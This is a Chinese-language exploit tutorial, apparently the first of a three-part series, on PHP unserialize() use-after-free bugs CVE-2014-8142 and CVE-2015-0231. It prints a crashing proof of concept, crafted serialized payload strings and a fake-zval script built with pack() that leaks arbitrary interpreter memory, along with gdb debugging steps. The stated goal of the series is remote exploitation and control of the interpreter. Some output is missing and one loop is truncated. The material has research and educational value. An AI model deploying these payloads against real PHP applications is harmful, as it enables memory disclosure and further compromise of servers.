分享到:
在基于web的应用上,很多人不认为内存破坏漏洞是一个问题。在SQL注入和XSS漏洞如日中天的年代,几乎没有人去关心这些类型的错误。一般人都会以“不能利用”为由简单的忽略这些漏洞。但是有时候这些漏洞要比SQL注入或者XSS更糟糕。因为攻击者可以:
1.获取系统权限
2.很难找到恶意的流量
3.需要维护者提供补丁,有时候还不能正确的修复。
这是我这一系列三篇文章中的第一篇,首先讲的是如何利用CVE-2014-8142(或者CVE-2015-0231),接下来是远程泄漏任意信息,最后是获得PHP解释器的控制权。
这一切早在2004年开始,Esser发现了反序列化函数unserialize()上的一枚UAF漏洞。这是Hardened-PHP项目的一部分,没有代码公开发布。在2010年Esser在SPLObjectStorage的unserialize()函数发现了另一个UAF漏洞,还在Syscan做了演讲,同样没有代码发布。最终CVE-2014-8142发布补丁,不过没有正确修复,这又导致了CVE-2015-0231的产生。
幸运的是,Stefan提供了一个会使解释器发生段错误的POC
for ($i=4; $i<100; $i++) {
var_dump($i);
$m = new StdClass();
$u = array(1);
$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);
$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}
?>
以上代码是如何工作的:我们更新了一个已经分配到aaa对象的值,然后"ccc"对象又指到了源“aaa"对象的一个值。
我们尝试找到罪魁祸首,我们查看process_nested_data,我们用gdb跟进到var_unserializer.c的第337行,看看那里发生了什么
我们运行下面这段代码,按c(继续)过第一个断点,在第二个断点时候,我们运行下面命令
printzv *(var_entries*)var_hash->first
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>
我们能够得到一个地址数组,指向一个变量已经被unserialize()解析的,我们感兴趣的是第五个元素(因为我们的代码使用的是R:5),我们进入这个地址看看
我们看到他调用了一个可疑的函数,我们再查看一下这个地址
成功了。然而,为了确定我们的地址一直在var_hash列表,我们继续执行
继续
我们看到,这里泄露了先前地址的数据,我们看看能不能读到任意内存地址
$fakezval = pack(
'IIII', //unsigned int
0x08048000, //address to leak
0x0000000f, //length of string
0x00000000, //refcount
0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);
for($i = 0; $i
$v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>
下面是输出
我们创建我们自己的ZVAL,他是PHP自己使用的内部数据结构,我们通过pack()函数让我们的代码执行,
1.类型(无符号整型)
2.地址(从哪里泄露的)
3.长度(想泄露的内存地址长度)
4.参考
5.数据类型(6,字符串)
当然,这些值会改变,如果我们不伪造字符串ZVAL。我们的for循环不释放的内存,这使我们对上述输出的实际覆盖。我们给$i一个大值比实际需要的,以确保我们“无处不在“。
好了,我们现在能够泄露随机的数据,如何触发到 CVE-2015-0231?,简单,替换aaa为123,结果输出如下
POC仅仅只能泄露本地的内存,我们下一个目标是,针对远程的利用,期待下一集吧